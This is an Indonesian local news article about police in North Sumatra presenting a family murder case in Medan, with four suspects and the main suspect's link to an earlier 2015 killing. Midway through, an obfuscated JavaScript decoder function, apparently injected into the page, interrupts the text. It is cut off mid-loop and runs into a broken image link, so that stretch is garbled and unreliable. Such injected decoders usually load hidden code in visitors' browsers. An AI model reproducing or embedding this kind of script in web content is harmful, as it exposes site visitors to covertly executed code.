CALEG GOLKAR

Andi Lala, Pembunuh Satu Keluarga Terlibat Dua Edisi Pembunuhan

POLDASU (medanbicara.com) – Polda Sumut secara resmi memaparkan kasus pembunuhan satu keluarga di Jalan Kayu Putih, Lingkungan XI, Kelurahan Mabar, Kecamatan Medan Deli, yang dilakukan Andi Matalata alias Andi Lala (35) Cs, di Aula Tri Brata Mapolda Sumut, Senin (17/4).

Kapolda Sumut Irjen Pol Rycko Amelza Dahniel yang memimpin pemaparan kasus pembunuhan sadis itu mengatakan, Andi Lala melakukan pembunuhan ini secara berencana dengan motif awalnya dendam

“Motifnya karena ia dendam sama korban tapi disertai dengan perampokan harta benda korban,” kata Kapolda.

Dijelaskan Kapoldasu, dalam kasus ini pihaknya telah menangkap tersangka baru sehingga total empat tersangka yang terlibat.

“Ada empat tersangka, mulai dari Inisiator, eksekutor, pengawas TKP dan penadah,” jelas Kapolda.

Disambung Kapolda lagi, untuk inisiator dan eksekutor sendiri tersangka utamanya adalah Andi Lala, ia ditangkap, Sabtu, 15 April lalu di Jalan Lintas Rengat / Tembilahan Desa Pekan Tua Kec. Kempes Kabupaten Indragiri Hilir, Riau.

“Terjadi perlawanan saat akan ditangkap sehingga terpaksa ditembak di keduanya kaki Andi Lala. Untuk proses penangkapan silahkan tanya nanti dengan Ketua Tim penangkapan Pak Faisal (Kasubdit III/Jatanras AKBP Faisal Napitupulu),” kata Kapolda.

“Saya tidak pakai inisial lagi karena DPO sudah dikeluarkan, Andi Lala masuk most person wanted di seluruh kepolisian indonesia,” sambung Kapolda.

function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandi-lala-pembunuh-satu-keluarga-terlibat-dua-edisi-pembunuhan/attachment/img_20170417_120654-631×468″ rel=”attachment wp-att-5864″>IMG_20170417_120654-631x468

Tersangka berikutnya adalah Roni yang ditangkap di kawasan Tanjung Morawa pada 11 April 2017 dan sehari kemudian Andi Syahputra (27) warga Jalan Sempurna, Gang Buntu Sekip, Lubukpakam, Deliserdang yang ditangkap di Asahan.

“Untuk penadah sepeda motor korban ditangkap di kawasan Sergai atas nama Riki alias Kiting,” tambah Kapoldasu.

Kapolda juga menjelaskan kalau tersangka Andi Lala juga terlibat kasus pembunuhan terhadap Suherman alias Iwan alias Kakek yang terjadi pada Juni 2015 lalu.

Kata Kapolda, Iwan terlibat perselingkuhan dengan istri Andi Lala sehingga ia menyusun rencana untuk membunuh korban.

“Reny Savitri, istri Andi Lala memanggil korban Iwan datang ke rumah, hari itu kebetulan sedang bulan puasa. Saat di rumah itu lah Andi Lala membunuh Iwan menggunakan Alu,” beber Kapoldasu. (emzu)

Mungkin Anda juga menyukai